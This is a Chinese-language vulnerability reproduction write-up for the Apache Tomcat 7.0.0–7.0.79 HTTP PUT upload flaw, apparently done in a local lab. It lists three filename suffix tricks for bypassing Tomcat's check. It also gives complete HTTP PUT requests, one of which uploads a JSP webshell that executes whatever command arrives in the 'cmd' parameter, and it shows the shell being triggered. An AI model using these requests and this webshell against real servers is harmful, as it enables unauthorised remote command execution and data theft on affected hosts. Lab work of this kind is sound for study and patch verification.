1. 漏洞原理
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
2. 环境搭建
1. 下载apache-tomcat-7.0.79-windows-x64
2. 修改tomcat配置
3. 漏洞分析
可以看出即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件, 因为后端都用org.apache.catalina.servlets.JspServlet来处理jsp或是jspx后缀的请求, 而JspServlet负责处理所有JSP和JPSX类型的动态请求, 从代码没有发现处理HTTP PUT类型的操作,所以可知PUT以
及DELTE等HTTP操作由DefautServelt实现。 因此, 就算我们构造请求直接上传JSP webshell显然是不会成功的。 该漏洞实际上是利用了windows下文件名解析的漏洞来触发的。 根本是通过构造特殊后缀名, 绕过Tomcat检测, 让Tomcat用DefaultServlet的逻辑处理请求, 从而上传jspwebshell文件。具体来说, 主要有三种方法绕过这样的检测:
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
4. 运行tomcat 双击startup.bat
5. 使用burpsuite抓包
3. 验证漏洞
1. 验证jsp文件,无法写入系统
PUT /test.jsp HTTP/1.1
Host: 172.16.22.76:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 34
<%out.print("Hello World"); %>
2. txt文件可以写入
3. 修改成shell.jsp/,成功写入
4. 将jsp木马写入
PUT /shell1.jsp/ HTTP/1.1
Host: 172.16.22.76:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 34
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
5. 测试上传木马
http://127.0.0.1:8085/shell1.jsp?cmd=calc
服务器弹出计算器